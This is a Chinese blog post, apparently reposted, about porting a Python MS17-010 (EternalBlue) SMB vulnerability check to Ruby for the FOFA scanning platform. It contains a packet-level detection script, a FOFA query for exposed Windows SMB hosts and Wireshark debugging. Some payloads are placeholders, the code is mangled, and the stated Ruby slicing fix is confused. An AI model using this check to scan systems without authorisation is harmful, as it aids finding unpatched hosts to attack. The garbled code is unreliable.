如何转换永恒之蓝(Eternalblue)的POC

栏目: Ruby · 发布时间: 8年前

内容简介:如何转换永恒之蓝(Eternalblue)的POC

这个POC价值20个F币(20F币=300人民币)。最近写了一些POC在FOFA平台拿了点零花钱,不过我更喜欢帮助其他小伙伴,大家一起分享。大牛们写文章越来越少,小牛们只能报团取暖。

刚好,一些客户没有从勒索病毒“永恒之蓝”的阴影中走出来,看FOFA上还没有此POC,我准备写一个。

一开始以为FOFA只支持Web应用层的POC,不能支持网络层的。研究后发现FOFA是支持 Ruby 的POC,Ruby能做Web编程和系统编程。于是我给自己定了目标:将MS17010的POC录进FOFA里面。

研究 Python 的shellcode

经过一翻研究,我决定将巡风的POC转成Ruby的POC,FOFA只支持Ruby,不支持Python,这个跟seebug相反。

在t00ls有哥们说我本末倒置了:巡风的POC就是从MSF的EXP转的,而MSF的EXP是Ruby写的,囧。那我还转个啥?

当然不是这样!不是我不能用MSF的shellcode,而是刚学习Ruby,暂时没有这个能力读懂MSF框架的代码,二来巡风的也是将MS17010的exp整合的很好。而其他的Python版本的POC都是按Windows操作系统分类的,要么就是调用方程式黑客武器的那个XML和EXE文件实现的。

而巡风的Python脚本是支持所有Windows操作系统的。

代码如下:(ps:不想看的老司机们用力一划,就下去了)

#-*- coding: UTF-8 -*-
import binascii
import socket

FOFAquery = 'protocol=smb&& banner="windows"'
defget_tree_connect_request(ip, tree_id):
ipc = "005c5c" + binascii.hexlify(ip) + "5c49504324003f3f3f3f3f00"
ipc_len_hex = hex(len(ipc) / 2).replace("0x", "")
smb = "ff534d4275000000001801280000000000000000000000000000729c" + binascii.hexlify(
tree_id) + "c4e104ff00000000000100" + ipc_len_hex + "00" + ipc
    tree = "000000" + hex(len(smb) / 2).replace("0x", "") + smb
tree_connect_request = binascii.unhexlify(tree)
return tree_connect_request
defcheck(ip, port, timeout):
negotiate_protocol_request = binascii.unhexlify(
"shellcode区域")
session_setup_request = binascii.unhexlify(
"shellcode区域")
try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((str(ip), int(port)))
s.send(negotiate_protocol_request)
s.recv(1024)
s.send(session_setup_request)
        data = s.recv(1024)
user_id = data[32:34]
        session_setup_request_2 = binascii.unhexlify(
"00000150ff534d4273000000001801280000000000000000000000000000729c" + binascii.hexlify(
user_id) + "shellcode区域")
s.send(session_setup_request_2)
s.recv(1024)
        session_setup_request_3 = binascii.unhexlify(
"shellcode区域")
s.send(session_setup_request_3)
        data = s.recv(1024)
tree_id = data[32:34]
smb = get_tree_connect_request(ip, tree_id)
s.send(smb)
s.recv(1024)
POC = binascii.unhexlify(
"0000004aff534d422500000000180128000000000000000000000000" + binascii.hexlify(
user_id) + "729c" + binascii.hexlify(
tree_id) + "shellcode区域")
s.send(POC)
        data = s.recv(1024)
if "\x05\x02\x00\xc0" in data:
return True
return False
s.close()
except Exception,e:
#print str(e)
return False
defverify(hostinfo):
ip,port = hostinfo.split(":")
    result = check(ip,port,5)
return result
if __name__ == '__main__':
print verify("8.8.8.8.230:445")

转为Ruby的shellcode

我根据其思路,将其中的shellcode转化为Ruby语言就达到我的目的了。

FOFA客户端的框架比其他的框架简单,一会我就准备好了代码,可是发现运行的时候卡在这边,百思不得骑姐???

加了begin和rescue..end也没有爆出什么异常。

按Ctrl+c发现连接被重置,但是不科学呀?shellcode完全和Python的一模一样啊。

如何转换永恒之蓝(Eternalblue)的POC

检查了几遍程序发现没有语法问题,也没有逻辑问题。

可是之前没有出现这个问题啊,扫描的时候能扫出没有补丁的还有关闭445端口的,但是扫到有漏洞的时候总是卡死在一个界面。

小伙伴看到说:小伙子啊,你这样不给力啊T T。

心怀不惩的我去吃饭,神秘大牛将最后一口饭吃下去之后,抿了下嘴巴,说半小时搞不定来找我。

半小时后,我只能去找他了。

定位问题

下面是他表演的时刻,文笔有限,尽量还原当时的情景。

首先,我将环境给他看了下,他说肯定是你shellcode哪些字符出问题。

我:不可能啊,都是复制粘贴进去的。

他:你能保证你发的包出去就是对的?

我:…

他:来,环境搞好。

我汹汹打开虚拟机

如何转换永恒之蓝(Eternalblue)的POC

多么精致的2003R2啊,可惜我就是没有把POC弄好。

首先确认IP地址。很多次我搞错IP,有同感的举手:)。

先用Python检测确定这个系统存在漏洞POC。

如何转换永恒之蓝(Eternalblue)的POC

提示True,说明存在漏洞。(值得一提的一点是先发送错误的payload会让之后正确的payload也利用失败,这个时候请重启系统)

那么这时候我们开启Wireshark抓包再次利用一下。

设定如下:

如何转换永恒之蓝(Eternalblue)的POC

将抓取到Python发送的数据包保存为230_Python.pcapng

用Ruby发包,抓取Ruby发送的数据包保存为230_Ruby.pcapng

如何转换永恒之蓝(Eternalblue)的POC

期中Ruby爆出的异常是:An existing connection was forcibly closed by remote host(被远程主机强制断开了,定位到46行。

按照出异常的经验,一般是前面数据包包的shellcode出现问题导致主机主动断开连接。然后我分析了三次数据包,发包和收包。

这个漏洞是基于445端口的SMB服务。

如何转换永恒之蓝(Eternalblue)的POC

图:由攻击者发送的第3个SMB包

下图右侧Ruby的POC发送第三个时显示红色Malformed Packet(恶意格式的数据包)

如何转换永恒之蓝(Eternalblue)的POC

图:Python和Ruby发送的第3个数据包,正常和异常效果对比

右边是Ruby的包,左边是Python的包。右边变红了,这个比股票变绿了可怕。

如何转换永恒之蓝(Eternalblue)的POC

选择第3个由客户端发送的SMB包,右键,Copy(复制)->Byte(位)->OffsetHex。复制出数据包的Hex值发现明显不相同(不相同处要标红)。相同的POCshellcode为何发送的数据包不一样呢?

如何转换永恒之蓝(Eternalblue)的POC

图:Python和Ruby发送的数据包内容不一样

而shellcode是一样的

code区域 :Python的MS17010利用shellcode

session_setup_request_2 = binascii.unhexlify(
"00000150ff534d4273000000001801280000000000000000000000000000729c" + binascii.hexlify(
user_id) + "c4e10cff000000dfff0200010000000000f200000000005cd0008015014e544c4d53535000030000001800180040000000780078005800000002000200d000000000000000d200000020002000d200000000000000f2000000050208a2ec893eacfc70bba9afefe94ef78908d37597e0202fd6177c0dfa65ed233b731faf86b02110137dc50101000000000000004724eed7b8d2017597e0202fd6177c0000000002000a0056004b002d005000430001000a0056004b002d005000430004000a0056004b002d005000430003000a0056004b002d00500043000700080036494bf1d7b8d20100000000000000002e003400310042006c007400410031004e005000590074006200490055004700300057696e646f7773203230303020323139350057696e646f7773203230303020352e3000")
s.send(session_setup_request_2)
s.recv(1024)

code区域 :Ruby的MS17010利用shellcode

buf3 = "00000150ff534d4273000000001801280000000000000000000000000000729c" + user_id.unpack(
'H*').first + "c4e10cff000000dfff0200010000000000f200000000005cd0008015014e544c4d53535000030000001800180040000000780078005800000002000200d000000000000000d200000020002000d200000000000000f2000000050208a2ec893eacfc70bba9afefe94ef78908d37597e0202fd6177c0dfa65ed233b731faf86b02110137dc50101000000000000004724eed7b8d2017597e0202fd6177c0000000002000a0056004b002d005000430001000a0056004b002d005000430004000a0056004b002d005000430003000a0056004b002d00500043000700080036494bf1d7b8d20100000000000000002e003400310042006c007400410031004e005000590074006200490055004700300057696e646f7773203230303020323139350057696e646f7773203230303020352e3000"
buf3 = [buf3].pack('H*')

找到答案

难道是Ruby的Hex解码和Python的Hex解码有差异? 相同的shellcode,不同语言,发送不同的数据包。

神秘大牛很确定得告诉我这个是不可能的!问题可能来自这2者语法不同

神秘大牛怀疑是:Python中的切片和Ruby中的字符串截取不一样。

s.send(session_setup_request)
data = s.recv(1024)
user_id = data[32:34]

打开Ruby的调试环境:irb

如何转换永恒之蓝(Eternalblue)的POC

定义一个变量a=’10086’

用a[2..4]做一个切片,我们从中可以看出a在内存的位置是从0算起的,共三位,2~4就是“086”

再看看Python

a = "10086"
print a[2:4]

运行结果:

如何转换永恒之蓝(Eternalblue)的POC

运行的结果居然是“08”。

Python的切片是最后一位属于界定位,不包含在内。

所以将Ruby中的切片改为:[32:33]就行了。

还有一个小坑:,

Ruby会自动对字符识别做转换,在Python不会,所以Ruby在转换的时候就会报错,解决的方法就是加一个编码转化回ascii。

Code区域:

ifdata.include? "\x05\x02\x00\xc0".force_encoding('ASCII-8BIT')

成就感

总结下,要使用一门语言还是要学习深入一点~

而Ruby我第一次用(/ □ \)

硬着头皮上了~重要的还是细心,一步步解决问题明显很迷人~~。然后放一下扫描的图片。

如何转换永恒之蓝(Eternalblue)的POC


以上所述就是小编给大家介绍的《如何转换永恒之蓝(Eternalblue)的POC》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

How to Build a Billion Dollar App

How to Build a Billion Dollar App

George Berkowski / Little, Brown Book Group / 2015-4-1 / USD 24.95

Apps have changed the way we communicate, shop, play, interact and travel and their phenomenal popularity has presented possibly the biggest business opportunity in history. In How to Build a Billi......一起来看看 《How to Build a Billion Dollar App》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

在线进制转换器
在线进制转换器

各进制数互转换器

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试